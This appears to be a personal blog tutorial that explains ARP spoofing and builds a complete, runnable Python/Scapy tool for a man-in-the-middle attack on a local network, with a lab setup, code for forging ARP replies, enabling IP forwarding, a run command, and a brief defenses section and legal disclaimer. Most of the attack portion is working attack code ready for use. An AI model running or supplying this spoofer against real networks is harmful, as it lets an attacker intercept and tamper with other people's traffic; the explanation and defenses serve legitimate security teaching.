avatar
Ahmed Zitoun
Blogging about dev, tutorials, life and more
Published on

Pwn The Network - How to perform an ARP spoof attack

ARP Spoofing: Performing a Man-in-the-Middle Attack with Python

A Man-in-the-Middle (MITM) attack is a classic technique where an attacker secretly intercepts and manipulates communication between two devices that believe they are talking directly to each other. This allows the attacker to monitor, modify, or inject malicious data into the conversation.

One common way to achieve MITM on a local network is through ARP spoofing. In this article, we’ll explain how ARP spoofing works and walk through building a Python-based ARP spoofer using Scapy.

⚠️ Disclaimer: This article is for educational purposes only. Running ARP spoofing attacks on networks you do not own or have explicit permission to test is illegal. Always practice in controlled lab environments.


1. What is ARP Spoofing?

The Address Resolution Protocol (ARP) maps IP addresses to physical MAC addresses so devices on a LAN can talk to each other. For example:

  • Host A wants to reach the gateway (192.168.56.100).
  • It broadcasts: “Who owns 192.168.56.100?”
  • The gateway replies with its MAC address.
  • Host A stores this in its ARP cache.

In an ARP spoofing attack, the attacker sends forged ARP replies to trick a target into associating the wrong MAC address with an IP. For example, the attacker tells the victim:

“I am 192.168.56.100 (the gateway). Send your traffic to me.”

At the same time, the attacker can trick the gateway into thinking the attacker is the victim. Result: all traffic between victim and gateway flows through the attacker.


2. Lab Setup

In this demo:

  • Attacker192.168.56.102
  • Target192.168.56.101
  • Gateway192.168.56.100

Before the attack: ARP tables look normal

DeviceIP AddressMAC Address
Attacker192.168.56.10208:00:27:85:47:4e
Target192.168.56.10108:00:27:8a:47:f5
Gateway192.168.56.10008:00:27:ea:7b:5a

After launching the spoof

The target’s ARP table now points gateway IP → attacker MAC. Any traffic from the victim to the gateway first goes through the attacker.

We can verify this by pinging the gateway from the target and inspecting packets with Wireshark on the attacker’s machine. The ICMP requests and replies are clearly routed through the attacker.


3. Writing the ARP Spoofer in Python

We’ll use Scapy to craft and send ARP replies.

Dependencies

pip install scapy

Step 1: Get a target’s MAC address

import scapy.all as scapy

def get_target_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    if answered_list:
        return answered_list[0][1].src
    return None

Step 2: Spoof ARP responses

def spoof(host_ip, host_mac, gateway_ip, gateway_mac):
    packet1 = scapy.ARP(op=2, pdst=host_ip, hwdst=host_mac, psrc=gateway_ip)
    packet2 = scapy.ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=host_ip)
    scapy.send(packet1, verbose=False)
    scapy.send(packet2, verbose=False)

Step 3: Restore ARP tables when done

def restore(host_ip, host_mac, gateway_ip, gateway_mac):
    packet1 = scapy.ARP(op=2, pdst=host_ip, hwdst=host_mac, 
                        psrc=gateway_ip, hwsrc=gateway_mac)
    packet2 = scapy.ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, 
                        psrc=host_ip, hwsrc=host_mac)
    scapy.send(packet1, verbose=False)
    scapy.send(packet2, verbose=False)

Step 4: Main logic

import argparse, subprocess, time

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", required=True, help="Target IP")
    parser.add_argument("-g", "--gateway", required=True, help="Gateway IP")
    args = parser.parse_args()

    target_mac = get_target_mac(args.target)
    gateway_mac = get_target_mac(args.gateway)

    subprocess.call("echo 1 > /proc/sys/net/ipv4/ip_forward", shell=True)
    packet_count = 0

    try:
        while True:
            spoof(args.target, target_mac, args.gateway, gateway_mac)
            packet_count += 2
            print(f"\r[+] Sent {packet_count} packets", end="")
            time.sleep(3)
    except KeyboardInterrupt:
        subprocess.call("echo 0 > /proc/sys/net/ipv4/ip_forward", shell=True)
        restore(args.target, target_mac, args.gateway, gateway_mac)
        print("\n[+] Spoofing stopped. Network restored.")

Run it like this:

python arp-spoof.py -t 192.168.56.101 -g 192.168.56.100

4. Defending Against ARP Spoofing

ARP spoofing is powerful but not unstoppable. Defenses include:

  • Use HTTPS and TLS → Encrypt traffic so interception is useless.
  • Enable static ARP entries for critical devices (e.g., servers, routers).
  • Network monitoring/IDS → Tools like arpwatch or IDS signatures detect ARP anomalies.
  • Segmentation → Limit attack scope with VLANs and strong access control.

Conclusion

In this tutorial, we built a Python tool that performs ARP spoofing to establish a Man-in-the-Middle position on a LAN. This demonstrates why ARP is such a critical protocol to secure and why modern defenses like encryption and IDS are necessary.

🔗 Full code: GitHub Repo